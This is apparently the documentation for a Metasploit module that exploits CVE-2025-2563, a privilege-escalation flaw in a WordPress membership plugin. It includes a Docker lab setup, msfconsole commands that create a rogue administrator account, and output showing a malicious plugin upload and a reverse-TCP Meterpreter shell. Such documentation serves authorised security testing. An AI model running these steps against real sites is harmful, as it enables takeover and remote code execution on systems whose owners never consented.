## Vulnerable Application

This Metasploit module exploits an unauthenticated privilege escalation in the
WordPress User Registration & Membership plugin (Free ≤ 4.1.2, Pro ≤ 5.1.2) (CVE-2025-2563).
When the Membership Addon is enabled, the plugin fails to prevent users from setting their
own account role, allowing anyone to escalate to administrator.

To replicate a vulnerable environment for testing:

1. Install WordPress using the provided Docker Compose configuration.
2. Download and install the User Registration plugin v4.1.1 (Free):
   [https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip](https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip)
3. Activate the plugin and enable the **Membership** Addon under:
   `/wp-admin/admin.php?page=user-registration-dashboard#features`.
4. No further configuration is required; vulnerability is present when the addon is active.
   - Permalinks must be enabled.

## Docker Compose Configuration

```yaml
services:

  wordpress:
    image: wordpress:6.3.2
    restart: always
    ports:
      - 5555:80
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: chocapikk
      WORDPRESS_DB_PASSWORD: dummy_password
      WORDPRESS_DB_NAME: exploit_market
    volumes:
      - wordpress:/var/www/html
      - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini

  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: exploit_market
      MYSQL_USER: chocapikk
      MYSQL_PASSWORD: dummy_password
      MYSQL_ROOT_PASSWORD: dummy_password
    volumes:
      - db:/var/lib/mysql

volumes:
  wordpress:
  db:
```

Create a `custom.ini` file with:

```ini
upload_max_filesize = 64M
post_max_size = 64M
```

## Verification Steps

1. Start the environment:

```bash
docker-compose up -d
```

2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555).
3. Confirm the User Registration v4.1.1 plugin is active under **Plugins**.
4. Enable the **Membership** Addon at `/wp-admin/admin.php?page=user-registration-dashboard#features`.
5. Launch `msfconsole`.
6. Load the module:

```bash
use exploit/multi/http/wp_user_registration_membership_escalation
```

7. Set `RHOSTS` to the target IP, and configure credentials:

```bash
set WP_USER eviluser
set WP_PASS Str0ngP@ss!
set WP_EMAIL eviluser@example.com
```

8. (Optional) Set `TARGETURI` if WordPress is installed in a subdirectory.
9. Run the exploit:

```bash
run
```

## Options

* **WP_USER**, **WP_PASS**, **WP_EMAIL**: Credentials for the new administrator account to be created.

## Scenarios

### Successful Exploitation

**Setup:**

* Local WordPress instance with User Registration v4.1.1 (Free) and Membership Addon enabled.
* Metasploit Framework

**Steps:**

1. Start `msfconsole`.
2. Load the module:
```bash
use exploit/multi/http/wp_user_registration_membership_escalation
```
3. Configure options:
```bash
set RHOSTS 127.0.0.1
set TARGETURI /
set WP_USER admin2
set WP_PASS P@ssw0rd!
set WP_EMAIL admin2@example.com
run
```

**Expected Results (PHP payload):**

```plaintext
msf exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] Detected user-registration version 4.1.1
[+] The target appears to be vulnerable.
[*] Registering new user with free membership...
[+] User registered: eviluser
[*] Escalating to administrator...
[+] Administrator created: eviluser:Str0ngP@ss!
[*] Authenticating via wp-login.php…
[!] wp-login.php failed—trying plugin login page
[+] Authenticated via plugin login page
[*] Uploading malicious plugin...
[*] Executing payload at /wp-content/plugins/wp_rxrpu/ajax_1vxd2.php...
[*] Sending stage (40004 bytes) to 172.27.0.3
[+] Deleted ajax_1vxd2.php
[+] Deleted wp_rxrpu.php
[+] Deleted ../wp_rxrpu
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.27.0.3:41616) at 2025-05-09 16:55:20 +0200

meterpreter > sysinfo
Computer    : 111d64934b4f
OS          : Linux 111d64934b4f 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64
Meterpreter : php/linux
```

**Expected Results (Command payload):**

```plaintext
msf exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected WordPress version: 6.8.1
[+] Detected user-registration version 4.1.1
[+] The target appears to be vulnerable.
[*] Registering new user with free membership...
[+] User registered: eviluser2
[*] Escalating to administrator...
[+] Administrator created: eviluser2:Str0ngP@ss!
[*] Authenticating via wp-login.php…
[!] wp-login.php failed—trying plugin login page
[+] Authenticated via plugin login page
[*] Uploading malicious plugin...
[*] Executing payload at /wp-content/plugins/wp_mwtqu/ajax_nncym.php...
[*] Sending stage (3045380 bytes) to 172.27.0.3
[+] Deleted ajax_nncym.php
[+] Deleted wp_mwtqu.php
[+] Deleted ../wp_mwtqu
[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.27.0.3:59124) at 2025-05-09 16:56:39 +0200

meterpreter > sysinfo
Computer     : 172.27.0.3
OS           : Debian 12.10 (Linux 6.14.2-2-cachyos)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
```
